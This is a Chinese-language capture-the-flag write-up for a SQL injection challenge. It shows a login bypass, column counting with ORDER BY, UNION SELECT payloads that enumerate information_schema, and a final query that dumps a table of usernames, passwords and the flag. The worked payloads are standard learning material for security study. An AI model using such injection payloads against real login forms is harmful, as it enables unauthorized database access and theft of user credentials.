首先按照惯例, 万能密码注入, 成功, 出来个用户名和密码,
然而好像并没有什么用
然后从order by 1
试到order by 3
正常回显,
order by 4
报错, 得知有3个字段
采用联合查询寻找回显点位:
1
| username=x2658y&password=1' union select 1,2,3;%23
|
可知第2, 3字段数据会被回显,
可以在这两处使用函数database()拿到数据库名:
1
| username=x2658y&password=1' union select 1,database(),3;%23
|
数据库名为geek, 接下来可以进一步拿到表名.
数据库系统中,
自带的information_schema
数据库中储存着所有数据库的表名,
字段名等各种信息,
从这里面可以得知geek
数据库里的表名和表里的字段名等
information_schema.tables
表中存储着数据库名对应的所有表名
1
| username=x2658y&password=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek';%23
|
注意table_schema='geek'
中的geek要加引号, 因为它是字符串,
当where
子句比较对象是数字时,
比如where id > 50
时不需要引号.
group_concat()
该字段的所有值合并(默认)以','分隔
可以看到,
geek
数据库中有两个表geekuser
和l0ve1ysq1
,
猜测数据就在l0ve1ysq1
表中. 同理,
从information_schema.columns
里取出l0ve1ysq1
的所有字段名,
然后万事俱备, 就可以联合查询拿到表中的所有数据了
1
| username=x2658y&password=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1';%23
|
可以看到,共有三个字段id
,username
,password
,
接下来尝试一下提取所有数据(为了方便观察,将id
,username
,password
之间用'-'分割开)
1
| username=x2658y&password=1' union select 1,group_concat(id,'-',username,'-',password),3 from geek.l0ve1ysq1;%23
|
于是我们得到了这样一坨(嗯,一坨)东西,
查看源代码就能提取出来一串凌乱的字符
1
| Hello 1-cl4y-wo_tai_nan_le,2-glzjin-glzjin_wants_a_girlfriend,3-Z4cHAr7zCr-biao_ge_dddd_hm,4-0xC4m3l-linux_chuang_shi_ren,5-Ayrain-a_rua_rain,6-Akko-yan_shi_fu_de_mao_bo_he,7-fouc5-cl4y,8-fouc5-di_2_kuai_fu_ji,9-fouc5-di_3_kuai_fu_ji,10-fouc5-di_4_kuai_fu_ji,11-fouc5-di_5_kuai_fu_ji,12-fouc5-di_6_kuai_fu_ji,13-fouc5-di_7_kuai_fu_ji,14-fouc5-di_8_kuai_fu_ji,15-leixiao-Syc_san_da_hacker,16-flag-flag{e5a2cc9e-e2bb-4410-9fa1-cf8c2361a9b3}!
|
我们的flag就在其中(竟然是用户的密码🙄)